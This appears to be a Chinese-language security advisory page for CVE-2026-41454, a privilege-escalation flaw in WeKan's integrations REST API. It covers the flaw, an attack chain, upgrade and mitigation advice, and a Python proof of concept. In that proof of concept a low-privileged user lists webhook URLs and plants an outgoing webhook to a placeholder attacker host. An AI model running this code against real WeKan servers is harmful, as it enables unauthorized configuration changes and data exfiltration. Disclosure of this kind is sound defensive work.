IPBUF安全漏洞报告
English
CVE-2026-41454 CVSS 8.3 高危

CVE-2026-41454 WeKan集成API权限提升漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-41454
漏洞类型
权限提升
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WeKan

相关标签

权限提升WeKan越权访问API安全Webhook泄露

漏洞概述

WeKan 8.35之前的版本在集成REST API端点中存在授权缺失漏洞。已认证的普通董事会成员可以在未经适当特权验证的情况下执行管理操作。攻击者可以利用JsonRoutes REST处理程序中不充分的授权检查来枚举集成(包括webhook URL)、创建新集成、修改或删除现有集成以及管理集成活动。

技术细节

该漏洞的核心在于WeKan应用程序在处理集成相关的REST API请求时,其底层的JsonRoutes处理程序存在逻辑缺陷。具体而言,虽然系统要求用户必须经过身份验证(登录)才能访问这些端点,但在执行关键操作(如创建、读取、更新、删除Webhook或集成配置)之前,缺少对用户角色权限的二次校验。正常情况下,只有管理员才应具备管理集成的权限。然而,由于这一检查的缺失,任何拥有基本“董事会成员”权限的攻击者都可以构造特定的HTTP请求发送给服务器。攻击者可以通过发送GET请求枚举系统中所有的集成配置,从而窃取敏感的Webhook URL;或者通过POST/PUT/DELETE请求篡改集成设置,植入恶意Webhook指向攻击者控制的服务器,进而可能导致后续的数据窃取或供应链攻击。

攻击链分析

STEP 1
步骤1:信息收集与认证
攻击者注册或获取一个WeKan普通董事会成员的账号,并成功登录获取有效的Session或Token。
STEP 2
步骤2:识别漏洞端点
攻击者分析WeKan的API结构,定位到处理集成管理的JsonRoutes端点(如/api/integrations)。
STEP 3
步骤3:构造越权请求
攻击者使用普通权限的凭证,向目标端点发送HTTP GET请求以枚举Webhook URL,或发送POST请求尝试创建新的集成。
STEP 4
步骤4:执行管理操作
服务器端因缺少权限校验,直接处理了请求。攻击者成功获取敏感信息或篡改了系统配置,完成权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-wekan-instance.com/api/integrations" # Attacker's session cookie (obtained after logging in as a low-privileged board member) session_cookie = { "wekan-sid": "valid_low_privileged_session_id" } # 1. Enumerate existing integrations (Information Disclosure) def enumerate_integrations(): response = requests.get(target_url, cookies=session_cookie) if response.status_code == 200: print("[+] Successfully enumerated integrations:") print(response.json()) else: print("[-] Failed to enumerate integrations.") # 2. Create a malicious integration (Integrity Impact) def create_malicious_integration(): payload = { "type": "outgoing-webhook", "url": "http://attacker-controlled.com/steal", "boardId": "target_board_id" } # Note: The endpoint might vary based on the specific JsonRoutes implementation create_url = target_url response = requests.post(create_url, json=payload, cookies=session_cookie) if response.status_code == 200: print("[+] Successfully created malicious integration.") else: print(f"[-] Failed to create integration. Status: {response.status_code}") if __name__ == "__main__": enumerate_integrations() create_malicious_integration()

影响范围

WeKan < 8.35

防御指南

临时缓解措施
建议管理员立即将WeKan系统升级至8.35或更高版本以修复此漏洞。如果无法立即升级,应严格限制注册用户的权限,并在网络层面阻断非管理员对/api/integrations相关路径的访问,同时密切监控集成API的异常访问日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表